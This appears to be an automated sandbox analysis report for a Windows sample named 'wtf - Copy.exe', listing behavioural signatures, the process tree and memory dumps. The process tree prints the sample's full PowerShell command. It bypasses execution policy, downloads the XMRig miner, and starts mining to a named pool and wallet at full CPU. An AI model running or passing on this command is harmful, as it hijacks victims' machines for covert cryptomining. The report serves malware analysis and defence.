Analysis
- max time kernel
898s - max time network
430s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
- submitted
02/05/2026, 04:28
General
- Target wtf - Copy.exe
- Size 235KB
- Sample260502-e367yacz5m
- SHA256 7bd1f50b832af076880678fb70cada1061c911992aa7339b5693a0c194e3b5e5
Malware Config
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Powershell Invoke Web Request.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\wtf - Copy.exe"C:\Users\Admin\AppData\Local\Temp\wtf - Copy.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -NoExit -Command "$ErrorActionPreference = 'Stop'; $d = Join-Path $env:TEMP 'x'; if (!(Test-Path $d)) { New-Item -ItemType Directory -Path $d -Force }; Stop-Process -Name 'xmrig' -ErrorAction SilentlyContinue; Write-Host '1. Dang kiem tra file...' -ForegroundColor Cyan; $zipPath = Join-Path $d 'x.zip'; if (!(Test-Path $zipPath)) { Write-Host '2. Dang tai file (co the mat 1-2 phut)...' -ForegroundColor Yellow; [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-msvc-win64.zip' -OutFile $zipPath; } Write-Host '3. Dang giai nen...' -ForegroundColor Yellow; Expand-Archive -Path $zipPath -DestinationPath $d -Force; $exe = Get-ChildItem -Path $d -Recurse -Filter 'xmrig.exe' | Select-Object -First 1; if ($exe) { Write-Host '4. Khoi chay dao...' -ForegroundColor Green; Start-Process $exe.FullName -ArgumentList '-o pool.hashvault.pro:443 -u 44VTHpmFucsULkgscKcU9zf3R73t4YamM3cW9gf7V51GN3TMJQzGxkNYCd9myzDtxqDyTwyegnYgzjjY6fi5HLC81JRYaZr -p bens -k --tls --cpu-max-threads-hint 100 --donate-level 1' -WorkingDirectory $exe.DirectoryName; } else { Write-Host 'Khong tim thay xmrig.exe' }"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
__PSScriptPolicyTest_phtdpdbf.ug2.ps1
memory/2988-14-0x00000193CC520000-0x00000193CC564000-memory.dmp
memory/2988-4-0x00000193CC080000-0x00000193CC090000-memory.dmp
memory/2988-5-0x00000193CC080000-0x00000193CC090000-memory.dmp
memory/2988-11-0x00000193CC010000-0x00000193CC032000-memory.dmp
memory/2988-15-0x00000193CC080000-0x00000193CC090000-memory.dmp
memory/2988-18-0x00000193CC080000-0x00000193CC090000-memory.dmp
memory/2988-17-0x00000193B38D0000-0x00000193B38DC000-memory.dmp
memory/2988-16-0x00000193B1E60000-0x00000193B2001000-memory.dmp
memory/2988-22-0x00000193CC080000-0x00000193CC090000-memory.dmp
memory/2988-23-0x00000193CC5F0000-0x00000193CC666000-memory.dmp
memory/2988-26-0x00000193CC080000-0x00000193CC090000-memory.dmp
memory/4884-0-0x00007FF788260000-0x00007FF7882A2000-memory.dmp
memory/4884-1-0x00000288DB5E0000-0x00000288DB70A000-memory.dmp